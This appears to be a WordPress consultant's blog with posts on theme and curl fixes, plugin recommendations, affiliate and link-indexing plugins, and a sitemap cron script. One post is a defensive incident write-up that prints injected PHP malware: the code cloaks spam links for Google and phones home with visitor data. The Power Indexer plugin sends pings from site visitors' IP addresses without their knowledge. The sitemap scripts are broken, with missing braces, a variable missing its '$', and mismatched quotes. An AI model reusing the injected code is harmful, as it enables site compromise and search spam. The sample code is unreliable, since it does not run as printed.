Thesis 1.8.4 Upgrade – style.css

I was recently upgrading a Thesis-based site from Thesis 1.8 to 1.8.4 and noticed that every time I activated the theme, the site’s style was completely wrong. I checked the HTML generated by both versions, and 1.8 was requesting the Thesis style.css but 1.8.4 was not. Upon looking at the code, I found that in 1.8.4 when the design options are saved, Thesis copies the contents of style.css to custom/layout.css.

Solution: Once you have activated Thesis 1.8.4, simply go to the design options panel and click the big ass save button. This will run the Thesis code that copies the style.css rules into custom/layout.css – your design should now look as before.

WordPress Twitter API Plugins not authenticating

A friend asked me to investigate why he was unable to use any Twitter plugins with his blog, but only on a specific server. After Googling around a little, I saw solutions that ranged from disabling PHP’s oauth module, to updating server time. It turns out that none of these fixed the problem – the issue was lack of SSL support for Curl.

His server is running cPanel, and although Curl support was enabled, the Twitter API calls all use HTTPS. The fix was to use EasyApache, and check the box next to curlssl as well as curl. A recompile of Apache and PHP, and boom. The plugin started working. It would be really great if the plugin would mention lack of SSL support in curl, rather than dying with a generic “Couldn’t authenticate” message. There was nothing in the PHP error log.

Link building exploit that only google can see

I was called by a client today who had looked at her site in Google’s cache and was shocked to see spam links for penis pills. When she viewed her site, however, there were no links to be seen. Thinking the hosting provider had fixed the issue, I looked at the most recently-cached item, which was only a few hours old, and saw that the links were still there. The database was clean, and no modified files in the document root or theme.

I assumed that the exploit was still live, but wasn’t showing anything to my browser, so it might be using user-agent cloaking. I tried switching my user-agent to GoogleBot, and still no dice. Then I decided to grep the entire codebase for “USER_AGENT” and see if anything hit. Lo and behold:

$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot

Huh. That seemed odd, so I investigated further and found this:

function get_footer( $name = null ) {
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
if(!(strpos($sUserAgent, 'google') === false)) // Bot comes
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true) // Create bot analitics
$stCurlHandle = curl_init(URL_REMOVED?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']));
} else
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true) // Create bot analitics
$stCurlHandle = curl_init(URL_REMOVED?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&addcheck='.'&check='.isset($_GET['look']));
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
$sResult = curl_exec($stCurlHandle);
echo $sResult; // Statistic code end

I compared this to a clean WordPress install and all the “statistics” code was missing. It’s pretty clear this is injected code, and is checking both the user-agent string AND the source IP address, which is why I couldn’t see the links even when I set my user-agent string to Googlebot’s. Smart. And, the script “calls home” to check the IP, so not only does the attacker have the ability to change cloaked IP blocks easily (and without having to re-upload a script) but they have a record of which sites have been successfully attacked.

The question of how the injected code was introduced was the next challenge. I ran a UNIX find query and found yet another file that contained the above. It also contained code to inject itself into PHPNuke, VBulletin, and Joomla in addition to WordPress. The injection code also includes a cleanup function, which was not invoked by this particular attacker. I found the file at: ./wp-includes/js/tinymce/plugins/plugin.php on my install.

After checking the FTP logs, I discovered someone from a Belize-based IP address had uploaded the above file and executed the script to inject the code. Cleanup was a matter of changing the FTP password, checking for extra WordPress accounts, and re-installing WordPress from a fresh install. I’m not certain how the attacker got my client’s FTP password, so I asked her to scan her PC and all her current employee’s PCs and gave her the new password over the phone rather than email.

If you’ve looked in Google’s cache and are seeing pharmaceutical links in the footer (that you didn’t put there!), or are noticing that Webmaster Tools is saying your site is about viagra, you may have the above problem. You can verify by looking for the above code snippet. If you are a victim, change your hosting credentials, scan your PC, and install from a fresh copy of WordPress.

Must-have plugins for anyWordPress install

One of the things that makes WordPress so great is the fact that you can extend it, without touching the core, through the use of plugins. Here is the list of must-have plugins that I put on every blog I deploy, and why:

  • All In One SEO Pack – allows you to set custom titles, and meta descriptions very easily.
  • Sociable – adds social bookmarking icons to your posts.
  • NextGEN Gallery – this is an amazing image plugin. Not only does it allow upload of zip archives to create galleries, but the templates to display galleries are easily customized.
  • Viper’s Video Quicktags – for sites that require video embeds tags, I like this plugin the best. The shortcodes are simple to use and automate.
  • Google XML Sitemaps Generator – XML sitemap and robots.txt generator. This is a definite must-have that should be installed before a site even goes live.
  • Redirection Plugin – used for moving sites from one domain to another. Allows you to set up 301 redirects from your old posts to your new ones quite easily, which gets your new site indexed more quickly. Be warned that this plugin can cause interference with other plugins. If your site starts acting strangely, I recommend disabling the redirection plugin and adding static 301s to your .htaccess instead.
  • Google Analytics – if you’re using Google Analytics, I like this plugin.

As a final note, this method for generating SEO friendly permalinks is good, and I’ve used it on several sites.

Link Log Matcher WordPress Plugin

Power Indexer

Power Indexer is a plugin that gets inbound links indexed by search engines within hours rather than weeks. Even if you have a lot of inbound links to your site, if the search engines don’t know about them, they’re worthless. Power Indexer is simple but effective at making your link building efforts count for more!


  • Increase your rankings by getting pages that contain inbound links indexed faster.
  • Enable the plugin and it starts working immediately.
  • Uses your visitor’s IP address, not your server!
  • Maximum pings per link is configurable.
  • Works with caching plugins!

Power Indexer can save you time and money by getting those precious inbound links counting now instead of weeks from now!


How does it work?

Power Indexer uses a small JavaScript snippet that ensures pages linking to your site are indexed faster, helping your link building be more effective and increasing your rankings! You control how many times an incoming link gets pinged and can see stats on incoming links from the Power Indexer options page.

There is a secondary option that uses a hardcoded iframe. This is for cases where you’re finding users coming to your site with JavaScript disabled. It is incompatible with caching plugins, however.

Power Indexer also rate-limits the pings to occur no more than once every 30 minutes. It does this in a cache-friendly way by using AJAX to find out if a link should be pinged or not.

What versions of WordPress does it work on?

I’ve successfully tested it on WordPress 2.5 to 3.0.

Does this plugin help me build links?

No, but it increases your link building ability! If you get a link to your site
but the page its on is not indexed, it won’t help you rank. Power Indexer helps make the links you DO build count!

I’m using a caching plugin – will it work?

Yes, if you use the JavaScript (default) option.

What’s the iframe option for?

It’s there if you’d prefer not running JavaScript on your site or if you know a lot of your users don’t have JavaScript enabled. Note that the iframe option is NOT compatible with caching plugins.

How do I limit the number of pings that are sent?

Settings > Power Indexer. You can change the maximum number of times an incoming link is pinged. The default is 10.

How does the rate limiting work?

By default Power Indexer limits pings to no less than 30 minutes between. If you want to change this, edit the power_indexer.php file and change the default_rate_limit line to the MINIMUM number of seconds between pings. 600 is 10 minutes, 1800 is a half hour, 3600 is an hour, and 86400 is one day.

Does it ping *every* incoming link?

No, only links that are not from search engine result pages (SERPs.) Bots will not trigger the pings either since they do no execute JavaScript or index iFrames.

Will my site get banned in Google for using this?

Honestly I have no idea. I don’t see why it would get your site banned, but
please be aware you’re using it at your own risk.

How do I report bugs and request new features?

Please email me directly with bug reports. As for new features, you can email me those too, although this plugin is meant to be simple to use and un-bloated.

Affiliate Link Cloaker Plugin


This plugin will cloak an affiliate link in a similar fashion to a product called GC Affiliate Cloaker. It essentially spits out some JavaScript that opens the cloaked link in an iframe. Cloaking in this case is not for SEO purposes – it is to shorten URLs so they look prettier and also to prevent other affiliates from stealing your commissions. You can use a redirect plugin to accomplish the same thing, but this is easier as you make the “redirect” just like writing a post.


Installation is the same as most plugins, and if you’ve used widgets before you’ll know what to do. Please contact me if you’re having difficulty or you think something is broken. Here’s a step-by-step:

  1. Download the Affiliate Cloaker Plugin and extract link_cloaker.php
  2. Copy the file into your wp-content/plugins/ folder
  3. Go to the Plugins menu in WordPress and activate the Affiliate Cloaker plugin

Using the Affiliate Cloaker plugin

When you’re writing a post you’ll see additional options below the posting window. Click the “Cloaked?” checkbox and fill in the URL field with the destination URL (your affiliate link.) If you want to stop cloaking, just uncheck the box.

Updating WordPress XML Sitemaps Offline

I personally love Arne Brachhold’s Google XML Sitemap plugin for WordPress. I personally use it on any WordPress install I do. On larger blogs, or blogs where you’re using automated content generators (i.e. posting content in an automated way through XML-RPC) the default build mode will slow down your blog because it rebuilds the entire XML sitemap from scratch every time you create or update a post or page.

There is a second build mode this plugin supports, which is to build via a GET request. For sites that have a lot of posts or do automated posting, this is a great option. It’s possible to schedule the XML sitemap updates to happen at specific times of the day with a simple script that uses an HTTP GET request to refresh them. This will speed up posting, especially for sites that use automatically generated content. Here’s a simple php script that you can schedule via cron to update your sitemaps and send you an email when it is done. Just update the $admin_email variable to where you want the email to go and the $sitemap_link variable to whatever the XML Sitemaps plugin tells you when you change the build mode. Notethat you may need to change the link to include the wp-admin especially if you’re on WordPress mu – the link the plugin gives doesn’t work (i.e.… to…)

Here’s the script:


$sitemap_link = '';

function getURIContents( $uri ) {
    return file_get_contents( $uri );

function generateSitemap( $link ) {
    $ret = '';
    $result = getURIContents( $link );
    if( !preg_match( '/.*DONE.*/', $result ) ) {
        $ret = $result;
    return $ret;

$result = generateSitemap( $sitemap_link );
if( $result != '' ) {
        mail( $admin_email, 'Sitemap Generator failed:$result" );
} else {
        mail( $admin_email, 'Sitemap Generator Complete',
                "Completed sitemap generation." );

If you get errors related to file_get_contents not being able to load a remote URI, just replace the above function with this, which uses libcurl and you should be ok:

function getURIContents( $uri ) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $uri);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_USERAGENT, 'IE 6 - Mozilla/4.0' );
    ret = curl_exec( $ch );
    if( curl_errno( $ch ) ) {
        $ret = '';
    } else {
        curl_close( $ch );
    return $ret;

Clickbank Ad Feed WordPress Plugin


Clickbank does not have an RSS feed, but they do have an XML version of their products called the Clickbank Marketplace. I wrote a simple backend for importing this XML file and producing RSS feeds, and then wrote a WordPress plugin that will show these feeds on your blog as a widget. Affiliate ID, number of items, campaign tracking tag and keywords are all available. You’re also able to put multiple ad feeds on your blog in different places, provided your WordPress theme has more than one sidebar.


Installation is the same as most plugins, and if you’ve used widgets before you’ll know what to do. Please contact me if you’re having difficulty or you think something is broken. Here’s a step-by-step:

  1. Download the Clickbank Ad Feed plugin and extract clickbank_adfeed.php
  2. Copy the file into your wp-content/plugins/ folder
  3. Go to the Plugins menu in WordPress and activate the Clickbank Ad Feed plugin
  4. Go to Design > Widgets
  5. Add the Clickbank Ad Feed widget by clicking “Add”
  6. Click “Edit” and fill out the fields, or leave them as the defaults (you will want to fill in your affiliate ID!)
  7. Click “Change” then “Save Changes” and view your site

Additional Information

  • Keywords are specified one per line and can include spaces. The software will use these keywords to search the title and description fields of the Clickbank product database. If not enough ads are found, it will fill the remaining slots with the most popular ads based on Clickbank’s popularity score.
  • Ordering is done by Clickbank’s popularity score. There are plans to add the ability to sort based on commission amount, whether a product is recurring, or gravity.
  • Affiliate ID is set in the widget itself. You can have multiple instances of the widget, so you can use different IDs on different sidebars. Note that my ID is rotated through roughly 20% of the time.
  • Campaign tracking tags are part of the Clickbank hoplink and can be specified in the widget options. I highly recommend using different values on different sidebars so you can track which ones are more profitable.
  • Data updates are done once a day. Clickbank updates their marketplace XML file once a day, so there’s no point in doing it more frequently.
  • Clickbank RSS feed access is coming shortly – this will allow you to use any RSS feed reader to include a Clickbank Ad Feed on your site.